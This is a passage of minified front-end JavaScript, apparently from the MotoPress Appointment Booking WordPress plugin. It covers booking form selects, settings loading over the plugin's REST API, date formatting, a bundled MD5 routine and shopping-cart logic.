e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||\"\";Ce(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?\"\":String(this.serviceId);Ce(this.$servicesSelect,{\"\":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?\"0\":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?\"0\":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new Ge(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new $e(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new De(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new ue(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}jQuery(window).on(\"load\",(()=>{window.elementorFrontend.isEditMode()&&window.elementorFrontend.elements.$window.on(\"elementor\u002Ffrontend\u002Finit\",(()=>{window.elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fappointment-form.default\",(e=>{const t=e.find(\".appointment-form-shortcode\");new Qe(t)}))}))}))}(wp.date,mpaData,intlTelInput)}();\n+!function(){\"use strict\";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a\u003Cs;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)\u002Fi))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function l(e,t={},s=\"GET\"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s=\"parsererror\";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==s&&(s=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,\"GET\")}function c(e,t){return l(e,t,\"POST\")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{h(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,g=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u(\"Sun\",\"motopress-appointment\"),u(\"Mon\",\"motopress-appointment\"),u(\"Tue\",\"motopress-appointment\"),u(\"Wed\",\"motopress-appointment\"),u(\"Thu\",\"motopress-appointment\"),u(\"Fri\",\"motopress-appointment\"),u(\"Sat\",\"motopress-appointment\")],longhand:[u(\"Sunday\",\"motopress-appointment\"),u(\"Monday\",\"motopress-appointment\"),u(\"Tuesday\",\"motopress-appointment\"),u(\"Wednesday\",\"motopress-appointment\"),u(\"Thursday\",\"motopress-appointment\"),u(\"Friday\",\"motopress-appointment\"),u(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[u(\"Jan\",\"motopress-appointment\"),u(\"Feb\",\"motopress-appointment\"),u(\"Mar\",\"motopress-appointment\"),u(\"Apr\",\"motopress-appointment\"),g(\"May\",\"Month (short)\",\"motopress-appointment\"),u(\"Jun\",\"motopress-appointment\"),u(\"Jul\",\"motopress-appointment\"),u(\"Aug\",\"motopress-appointment\"),u(\"Sep\",\"motopress-appointment\"),u(\"Oct\",\"motopress-appointment\"),u(\"Nov\",\"motopress-appointment\"),u(\"Dec\",\"motopress-appointment\")],longhand:[u(\"January\",\"motopress-appointment\"),u(\"February\",\"motopress-appointment\"),u(\"March\",\"motopress-appointment\"),u(\"April\",\"motopress-appointment\"),g(\"May\",\"Month\",\"motopress-appointment\"),u(\"June\",\"motopress-appointment\"),u(\"July\",\"motopress-appointment\"),u(\"August\",\"motopress-appointment\"),u(\"September\",\"motopress-appointment\"),u(\"October\",\"motopress-appointment\"),u(\"November\",\"motopress-appointment\"),u(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==s)return f(t,\"Y-m-d\");if(\"public\"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return s.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return i(t.getDate());case\"D\":return y.weekdays.shorthand[t.getDay()];case\"l\":return y.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)\u002Fp+1)\u002F7);case\"F\":return y.months.longhand[t.getMonth()];case\"M\":return y.months.shorthand[t.getMonth()];case\"m\":return i(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return y.amPM[t.getHours()>11?1:0];case\"a\":return y.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return i(t.getHours());case\"h\":return i(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return i(t.getMinutes());case\"s\":return i(t.getSeconds());case\"v\":return i(t.getMilliseconds(),3);case\"u\":return i(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let d=-t.getTimezoneOffset(),m=d>=0?\"+\":\"-\",u=Math.floor(Math.abs(d)\u002F60),g=Math.abs(d)%60,b=\"O\"==e?\"\":\":\";return m+i(u)+b+i(g);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return f(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return f(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function b(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var S,P,w={exports:{}},C={exports:{}};S=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",P={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s\u003Ce.length;s++,i+=8)t[i>>>5]|=e[s]\u003C\u003C24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s\u003C32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s\u003Ce.length;s+=3)for(var i=e[s]\u003C\u003C16|e[s+1]\u003C\u003C8|e[s+2],a=0;a\u003C4;a++)8*s+6*a\u003C=8*e.length?t.push(S.charAt(i>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],s=0,i=0;s\u003Ce.length;i=++s%4)0!=i&&t.push((S.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)\u003C\u003C2*i|S.indexOf(e.charAt(s))>>>6-2*i);return t}},C.exports=P;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(String.fromCharCode(e[s]));return t.join(\"\")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m\u003Co.length;m++)o[m]=16711935&(o[m]\u003C\u003C8|o[m]>>>24)|4278255360&(o[m]\u003C\u003C24|o[m]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m\u003Co.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,w.exports=function(t,s){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=_(w.exports);class A{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,\"internal\")==f(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return\"\"!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t+1;return s\u003Cthis.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return\"\"!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e=\"\",t=!1){let s=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()\u002F1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){var e;this.items=new M,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:\"\"}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return E(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return 